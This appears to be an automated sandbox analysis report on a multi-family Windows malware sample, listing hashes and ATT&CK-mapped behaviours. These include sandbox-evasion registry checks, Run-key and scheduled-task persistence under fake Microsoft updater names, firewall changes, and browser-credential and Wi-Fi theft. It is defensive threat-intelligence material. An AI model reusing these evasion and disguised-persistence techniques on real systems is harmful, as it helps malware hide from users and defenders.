aac849d4a61bda12b25fa46f90bafcf72e034cc8b1aa16819cb579505810b1e8

Analysis

max time kernel
60s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 04:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 37.0MB
Sample260604-ffn9aah12z
SHA256 aac849d4a61bda12b25fa46f90bafcf72e034cc8b1aa16819cb579505810b1e8
MD5 fc83b7475b109fd821602b8242e16785
SHA1 f69d38f3f2ffa746b883a911f18afbdd8c9f2e23
SHA512 d8d782f98e20a63d0cec852993adf3dc7f0f6465d79e530f85fd99935be73a8358a1055dd07275edc82a1bfcd910e671b4a12e52c1918bbc8b29595a53698813
SSDEEP 393216:a1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfM:aMguj8Q4VfviqFTrYsQl5E5n
TLSH
T121878B0773E600A5E9B7D1388AA65507D773B8674331CBDF329D06152FABAD09A7E320
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Adds policy Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_2 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Media Player\\wmlaunch.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsUpdate\\wuauclt.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_3 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SearchFilterHost.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\MsEdgeAutoUpdate = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MsEdgeAutoUpdate.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_1 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\Update\\MicrosoftEdgeUpdate.exe"	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3244	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3244	powershell.exe
876	powershell.exe
5004	powershell.exe
2452	powershell.exe
1124	powershell.exe
2076	powershell.exe
240	powershell.exe
2420	powershell.exe
2960	powershell.exe
3548	powershell.exe
2960	powershell.exe
2500	powershell.exe
1564	powershell.exe
4416	powershell.exe
1292	powershell.exe
2384	powershell.exe
1292	powershell.exe
2692	powershell.exe
3844	powershell.exe
2552	powershell.exe
4748	powershell.exe
3460	powershell.exe
2024	powershell.exe
2940	powershell.exe
4268	powershell.exe
836	powershell.exe
3048	powershell.exe
1624	powershell.exe
2740	powershell.exe
4600	powershell.exe
3204	powershell.exe
1056	powershell.exe
4976	powershell.exe
4820	powershell.exe
2340	powershell.exe
4952	powershell.exe
3236	powershell.exe
3692	powershell.exe
2232	powershell.exe
876	powershell.exe
2532	powershell.exe
2348	powershell.exe
3468	powershell.exe
2136	powershell.exe
2384	powershell.exe
1840	powershell.exe
1632	powershell.exe
536	powershell.exe
4640	powershell.exe
4932	powershell.exe
3604	powershell.exe
1740	powershell.exe
648	powershell.exe
2476	powershell.exe
876	powershell.exe
4548	powershell.exe
2024	powershell.exe
2928	powershell.exe
5092	powershell.exe
2832	powershell.exe
3428	powershell.exe
2412	powershell.exe
1792	powershell.exe
848	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 4 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe

Looks for Xen service registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xenevtchn	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xenevtchn	reg.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4008	netsh.exe
672	netsh.exe
4992	netsh.exe
4932	netsh.exe

Clipboard Data 1 TTPs 4 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4596	cmd.exe
1728	powershell.exe
244	cmd.exe
3844	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
4940	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
836	MsEdgeAutoUpdate.exe
2452	wuauclt.exe
3968	MicrosoftEdgeUpdate.exe
1984	SearchFilterHost.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	reg.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
656	cmd.exe
1780	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Network Service Discovery 1 TTPs 4 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
4820	ARP.EXE
1304	cmd.exe
4360	cmd.exe
4848	ARP.EXE

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Enumerates processes with tasklist 1 TTPs 9 IoCs

discovery

Process Discovery

T1057

pid	Process
2120	tasklist.exe
3984	tasklist.exe
3648	tasklist.exe
672	tasklist.exe
4404	tasklist.exe
4456	tasklist.exe
2180	tasklist.exe
4420	tasklist.exe
4456	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
788	cmd.exe
3660	cmd.exe
2416	cmd.exe
4424	cmd.exe
1844	cmd.exe
4340	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 6 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2848	powershell.exe
672	powershell.exe
2728	powershell.exe
2084	powershell.exe
5004	powershell.exe
2552	powershell.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 12 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	wuauclt.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	SearchFilterHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	MicrosoftEdgeUpdate.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 8 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4124	cmd.exe
3412	netsh.exe
4160	cmd.exe
1716	netsh.exe
844	netsh.exe
4268	cmd.exe
2640	cmd.exe
3604	netsh.exe

System Network Connections Discovery 1 TTPs 4 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
2404	NETSTAT.EXE
1032	cmd.exe
1232	cmd.exe
5092	NETSTAT.EXE

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	MsEdgeAutoUpdate.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3748	WMIC.exe
2500	WMIC.exe

Gathers network information 2 TTPs 6 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2404	NETSTAT.EXE
1792	ipconfig.exe
4832	ipconfig.exe
5092	NETSTAT.EXE
1912	ipconfig.exe
1816	ipconfig.exe

NTFS ADS 17 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe\:Zone.Identifier:$DATA	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe\:Zone.Identifier:$DATA	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe\:Zone.Identifier:$DATA	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe\:Zone.Identifier:$DATA	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	wuauclt.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe\:Zone.Identifier:$DATA	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	SearchFilterHost.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 32 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2552	schtasks.exe
4308	schtasks.exe
2060	schtasks.exe
1940	schtasks.exe
4588	schtasks.exe
4820	schtasks.exe
1600	schtasks.exe
4120	schtasks.exe
3680	schtasks.exe
4896	schtasks.exe
4048	schtasks.exe
2056	schtasks.exe
4548	schtasks.exe
4832	schtasks.exe
4640	schtasks.exe
3476	schtasks.exe
2024	schtasks.exe
3668	schtasks.exe
2908	schtasks.exe
4144	schtasks.exe
1692	schtasks.exe
1232	schtasks.exe
1596	schtasks.exe
1632	schtasks.exe
4132	schtasks.exe
2552	schtasks.exe
3752	schtasks.exe
1816	schtasks.exe
4160	schtasks.exe
5024	schtasks.exe
2156	schtasks.exe
2132	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
5004	powershell.exe
5004	powershell.exe
5004	powershell.exe
3244	powershell.exe
3244	powershell.exe
792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
2960	powershell.exe
2960	powershell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
2452	powershell.exe
2452	powershell.exe
4748	powershell.exe
4748	powershell.exe
2940	powershell.exe
2940	powershell.exe
1728	powershell.exe
1728	powershell.exe
2476	powershell.exe
2476	powershell.exe
536	powershell.exe
536	powershell.exe
